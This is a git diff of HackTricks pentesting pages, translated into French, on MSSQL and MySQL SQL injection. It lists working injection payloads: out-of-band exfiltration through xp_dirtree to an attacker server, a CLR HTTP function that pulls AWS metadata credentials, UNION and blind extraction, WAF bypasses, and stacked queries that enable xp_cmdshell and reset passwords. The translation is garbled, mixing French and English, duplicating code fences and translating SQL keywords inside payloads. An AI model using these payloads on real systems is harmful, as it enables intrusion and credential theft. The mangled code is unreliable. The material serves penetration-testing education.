-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Énumération de l'Active Directory +## Énumération de l'annuaire actif Il peut être possible de **énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL** en utilisant les fonctions MSSQL suivantes : -* **`SELECT DEFAULT_DOMAIN()`** : Obtenez le nom de domaine actuel. -* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`** : Si vous connaissez le nom du domaine (_DOMAIN_ dans cet exemple), cette fonction retournera le **SID de l'utilisateur Administrateur** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **4 derniers octets** sont le nombre **500** au format **big endian**, qui est l'**ID commun de l'utilisateur administrateur**.\ +* **`SELECT DEFAULT_DOMAIN()`** : Obtenir le nom de domaine actuel. +* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`** : Si vous connaissez le nom du domaine (_DOMAIN_ dans cet exemple), cette fonction renverra le **SID de l'utilisateur Administrateur** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **4 derniers octets** sont le nombre **500** au format **big endian**, qui est l'**ID commun de l'utilisateur administrateur**.\ Cette fonction vous permettra de **connaître l'ID du domaine** (tous les octets sauf les 4 derniers). -* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction retournera le **nom d'utilisateur de l'ID indiqué** (s'il y en a un), dans ce cas **0000e803** en big endian == **1000** (généralement c'est l'ID du premier ID d'utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez forcer brutalement les ID d'utilisateurs de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme la suivante : +* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction renverra le **nom d'utilisateur de l'ID indiqué** (le cas échéant), dans ce cas **0000e803** en big endian == **1000** (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez effectuer une attaque par force brute sur les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme celle-ci : ```python def get_sid(n): domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' @@ -29,11 +29,11 @@ user = struct.pack(' -La méthode la plus courante pour effectuer un appel réseau que vous rencontrerez en utilisant MSSQL est l'utilisation de la Procédure Stockée `xp_dirtree`, qui est curieusement non documentée par Microsoft, ce qui a conduit à ce qu'elle soit [documentée par d'autres personnes sur Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Cette méthode a été utilisée dans [plusieurs exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de billets sur l'[exfiltration de données hors bande](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) sur Internet. +Les procédures stockées telles que `xp_dirtree`, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données hors bande, comme le montrent divers [exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) et [articles](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/). -Essentiellement, +La procédure stockée `xp_dirtree`, par exemple, est utilisée pour effectuer des requêtes réseau, mais elle est limitée au seul port TCP 445. Le numéro de port n'est pas modifiable, mais elle permet de lire à partir de partages réseau. L'utilisation est démontrée dans le script SQL ci-dessous: ```sql DECLARE @user varchar(100); SELECT @user = (SELECT user); -EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"'); +EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); ``` -Comme la fonction `LOAD_FILE` de MySQL, vous pouvez utiliser `xp_dirtree` pour effectuer une requête réseau **uniquement sur le port TCP 445**. Vous ne pouvez pas contrôler le numéro de port, mais pouvez lire des informations depuis des partages réseau. +Il est à noter que cette méthode pourrait ne pas fonctionner sur toutes les configurations système, telles que sur `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` s'exécutant sur un `Windows Server 2016 Datacenter` avec les paramètres par défaut. -**PS :** Cela ne fonctionne pas sur `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` installé sur un `Windows Server 2016 Datacenter` dans la configuration par défaut. +De plus, il existe des procédures stockées alternatives telles que `master..xp_fileexist` et `xp_subdirs` qui peuvent atteindre des résultats similaires. Des détails supplémentaires sur `xp_fileexist` peuvent être trouvés dans cet [article TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx). -Il existe **d'autres** procédures stockées *** [**comme `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ou **`xp_subdirs`** qui peuvent être utilisées pour des résultats similaires. ### `xp_cmdshell` -Évidemment, vous pourriez également utiliser **`xp_cmdshell`** pour **exécuter** quelque chose qui déclenche un **SSRF**. Pour plus d'informations, **lisez la section pertinente** de la page : +De toute évidence, vous pourriez également utiliser **`xp_cmdshell`** pour **exécuter** quelque chose qui déclenche un **SSRF**. Pour plus d'informations, **consultez la section pertinente** sur la page : {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} -### MSSQL Fonction Définie par l'Utilisateur - SQLHttp +### Fonction utilisateur MSSQL définie - SQLHttp -Il est assez simple d'écrire une **CLR UDF** (Fonction Définie par l'Utilisateur en Common Language Runtime - code écrit avec l'un des langages **.NET** et compilé en **DLL**) et de **la charger dans MSSQL pour des fonctions personnalisées**. Cela nécessite cependant un accès `dbo`, donc cela peut ne pas fonctionner à moins que l'application web ne se connecte à la base de données **en tant que `sa` ou avec un rôle d'Administrateur**. +La création d'une UDF CLR (User Defined Function Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé dans une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accès `dbo`. Cela signifie que cela est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que `sa` ou avec un rôle d'administrateur. -[Ce dépôt Github contient le projet Visual Studio et les instructions d'installation](https://github.com/infiniteloopltd/SQLHttp) pour charger le binaire dans MSSQL en tant qu'assemblage CLR, puis invoquer des requêtes HTTP GET depuis MSSQL. +Un projet Visual Studio et des instructions d'installation sont fournis dans [ce dépôt Github](https://github.com/infiniteloopltd/SQLHttp) pour faciliter le chargement du binaire dans MSSQL en tant qu'assembly CLR, permettant ainsi l'exécution de requêtes HTTP GET depuis MSSQL. -Le code `http.cs` utilise la classe `WebClient` pour effectuer une requête GET et récupérer le contenu comme spécifié +Le cœur de cette fonctionnalité est encapsulé dans le fichier `http.cs`, qui utilise la classe `WebClient` pour exécuter une requête GET et récupérer le contenu comme illustré ci-dessous: ```csharp using System.Data.SqlTypes; using System.Net; @@ -133,127 +136,163 @@ public static SqlString http(SqlString url) { var wc = new WebClient(); var html = wc.DownloadString(url.Value); -return new SqlString (html); +return new SqlString(html); } } ``` -Dans les instructions d'installation, exécutez ce qui suit avant la requête `CREATE ASSEMBLY` pour ajouter le hachage SHA512 de l'assemblée à la liste des assemblées de confiance sur le serveur (vous pouvez voir la liste en utilisant `select * from sys.trusted_assemblies;`) +Avant d'exécuter la commande SQL `CREATE ASSEMBLY`, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hash SHA512 de l'assembly à la liste des assemblies de confiance du serveur (visible via `select * from sys.trusted_assemblies;`): ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` -Une fois l'assemblage ajouté et la fonction créée, nous pouvons exécuter ce qui suit pour effectuer nos requêtes HTTP +Après avoir ajouté avec succès l'assembly et créé la fonction, le code SQL suivant peut être utilisé pour effectuer des requêtes HTTP : ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); ``` -## **Exploitation rapide : Extraire une table entière en une seule requête** +### **Exploitation Rapide: Récupération du Contenu Complet de la Table en une Seule Requête** -Il existe deux méthodes simples pour extraire le contenu complet d'une table en une seule requête — l'utilisation de la clause FOR XML ou de la clause FOR JSON. La clause FOR XML nécessite un mode spécifié tel que « raw », donc en termes de concision, FOR JSON est plus performant. +[Astuce d'ici](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). -La requête pour extraire le schéma, les tables et les colonnes de la base de données actuelle : -``` +Une méthode concise pour extraire le contenu complet d'une table en une seule requête consiste à utiliser la clause `FOR JSON`. Cette approche est plus succincte que l'utilisation de la clause `FOR XML`, qui nécessite un mode spécifique comme "raw". La clause `FOR JSON` est préférée pour sa concision. + +Voici comment récupérer le schéma, les tables et les colonnes de la base de données actuelle: +```sql https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- -``` -```markdown -![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png) +In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: -Les vecteurs basés sur les erreurs nécessitent un alias ou un nom, car la sortie des expressions sans l'un ou l'autre ne peut pas être formatée en JSON. +```sql +https://vuln.app/getItem?id=1'+et+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ``` -``` -https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- -``` -```markdown -![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png) -## **Récupération de la requête actuelle** +### Retrieving the Current Query -La requête SQL actuellement exécutée peut être récupérée en accédant à `sys.dm_exec_requests` et `sys.dm_exec_sql_text` : -``` -``` +[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). + +For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: + +```sql +```sql https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` -![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png) -**Permissions :** Si l'utilisateur dispose de la permission VIEW SERVER STATE sur le serveur, il verra toutes les sessions en cours d'exécution sur l'instance de SQL Server ; sinon, l'utilisateur ne verra que la session actuelle. ```sql -# Check if you have it +https://vuln.app/getItem?id=-1%20union%20select%20null,(sélectionner+texte+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null +``` +``` + +To check if you have the VIEW SERVER STATE permission, the following query can be used: + +```sql +```sql SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; ``` -## **Petites astuces pour contourner les WAF** +``` -Caractères d'espacement non standard : %C2%85 ou %C2%A0 : -``` -https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- -``` -Notation scientifique (0e) et hexadécimale (0x) pour l'obfuscation de UNION : -``` -https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- +## **Little tricks for WAF bypasses** + +[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) + +Non-standard whitespace characters: %C2%85 или %C2%A0: -https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- ``` -Un point au lieu d'un espace blanc entre FROM et le nom d'une colonne : +```plaintext +L'URL ci-dessus est un exemple d'injection SQL MSSQL. Il tente d'extraire des informations de la base de données en utilisant une requête d'union avec la fonction @@version pour récupérer la version du serveur MSSQL. +``` +``` + +Scientific (0e) and hex (0x) notation for obfuscating UNION: + +``` +- Utilisation de l'injection SQL MSSQL basée sur l'opérateur UNION: + - https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- + - https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- +``` + +A period instead of a whitespace between FROM and a column name: + ``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` -Séparateur \N entre SELECT et une colonne sans importance : + +\N separator between SELECT and a throwaway column: + ``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` -### Contournement de WAF avec des requêtes empilées non orthodoxes -Selon [**ce billet de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), il est possible d'empiler des requêtes dans MSSQL sans utiliser ";": +### WAF Bypass with unorthodox stacked queries -
+According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": -Donc, par exemple, plusieurs requêtes telles que : ```sql -use [tempdb] -create table [test] ([id] int) -insert [test] values(1) -select [id] from [test] -drop table[test] +```plaintext +SÉLECTIONNER 'a' SÉLECTIONNER 'b' ``` -Peut être réduit à : +``` + +So for example, multiple queries such as: + +```sql +```sql +USE [tempdb] +CREATE TABLE [test] ([id] int) +INSERT INTO [test] VALUES(1) +SELECT [id] FROM [test] +DROP TABLE [test] +``` +``` + +Can be reduced to: + +```sql ```sql use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] ``` -Par conséquent, il pourrait être possible de contourner différents WAFs qui ne prennent pas en compte cette forme d'empilement de requêtes. Par exemple : + +```sql +utiliser[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] ``` -# Adding a useless exec() at the end and making the WAF think this isn't a valid querie +``` + +Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example: + +``` +# Ajout d'un exec() inutile à la fin et faire croire au WAF que ce n'est pas une requête valide admina'union select 1,'admin','testtest123'exec('select 1')-- -## This will be: +## Cela deviendra : SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--' -# Using weirdly built queries +# Utilisation de requêtes étrangement construites admin'exec('update[users]set[password]=''a''')-- -## This will be: +## Cela deviendra : SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--' -# Or enabling xp_cmdshell +# Ou en activant xp_cmdshell admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- -## This will be +## Cela deviendra : select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` -## Références + +## References * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Other ways to support HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/sql-injection/mysql-injection/README.md b/pentesting-web/sql-injection/mysql-injection/README.md index a3b4650f7..3bb473eda 100644 --- a/pentesting-web/sql-injection/mysql-injection/README.md +++ b/pentesting-web/sql-injection/mysql-injection/README.md @@ -2,19 +2,19 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} @@ -28,7 +28,7 @@ ``` ## Fonctions intéressantes -### Confirmation de Mysql: +### Confirmer Mysql: ``` concat('a','b') database() @@ -62,11 +62,11 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -à partir de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +De [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) ## Flux -Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information\_schema.tables**_" par "_**mysql.innodb\_table\_stats**_**"** (Cela pourrait être utile pour contourner les WAF). +Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information\_schema.tables**_" par "_**mysql.innodb\_table\_stats**_" (Cela pourrait être utile pour contourner les WAF). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -106,13 +106,7 @@ UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` -
- -[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. - -{% embed url="https://www.rootedcon.com/" %} - -## MySQL Union Based +## Basé sur l'Union MySQL ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... @@ -125,65 +119,52 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ## Astuces de contournement de WAF -### Alternatives à information\_schema +### Alternatives à Information\_schema -Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information\_schema.tables**_ pour _**mysql.innodb\_table\_stats**_\*\* \*\* ou pour _**sys.x$schema\_flattened\_keys**_ ou pour **sys.schema\_table\_statistics** +N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information\_schema.tables**_ par _**mysql.innodb\_table\_stats**_ ou par _**sys.x$schema\_flattened\_keys**_ ou par **sys.schema\_table\_statistics** -![](<../../../.gitbook/assets/image (154).png>) - -![](<../../../.gitbook/assets/image (155).png>) - -### Injection MySQL sans virgules +### Injection MySQL sans VIRGULES Sélectionnez 2 colonnes sans utiliser de virgule ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` -### Récupération de valeurs sans le nom de la colonne +### Récupération des valeurs sans le nom de la colonne -Si à un moment donné vous connaissez le nom de la table mais pas le nom des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme: +Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas le nom des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes existent en exécutant quelque chose comme : ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -En supposant qu'il y ait 2 colonnes (la première étant l'ID) et l'autre le drapeau, vous pouvez essayer de forcer le contenu du drapeau en essayant caractère par caractère : +Supposons qu'il y ait 2 colonnes (la première étant l'ID) et l'autre le drapeau, vous pouvez essayer de forcer le contenu du drapeau en essayant caractère par caractère: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Plus d'informations sur [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### Histoire de MySQL +### Historique de MySQL Vous pouvez voir d'autres exécutions à l'intérieur de MySQL en lisant la table : **sys.x$statement\_analysis** -### Alternatives de version +### Versions alternatives ``` mysql> select @@innodb_version; -+------------------+ -| @@innodb_version | -+------------------+ -| 5.6.31 | -+------------------+ - mysql> select @@version; -+-------------------------+ -| @@version | -+-------------------------+ -| 5.6.31-0ubuntu0.15.10.1 | -+-------------------------+ - -mysql> mysql> select version(); -+-------------------------+ -| version() | -+-------------------------+ -| 5.6.31-0ubuntu0.15.10.1 | -+-------------------------+ +mysql> select version(); ``` +## Autres guides d'injection MYSQL + +* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)] + +## Références +* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) + +
-​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} @@ -191,10 +172,10 @@ mysql> mysql> select version(); ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 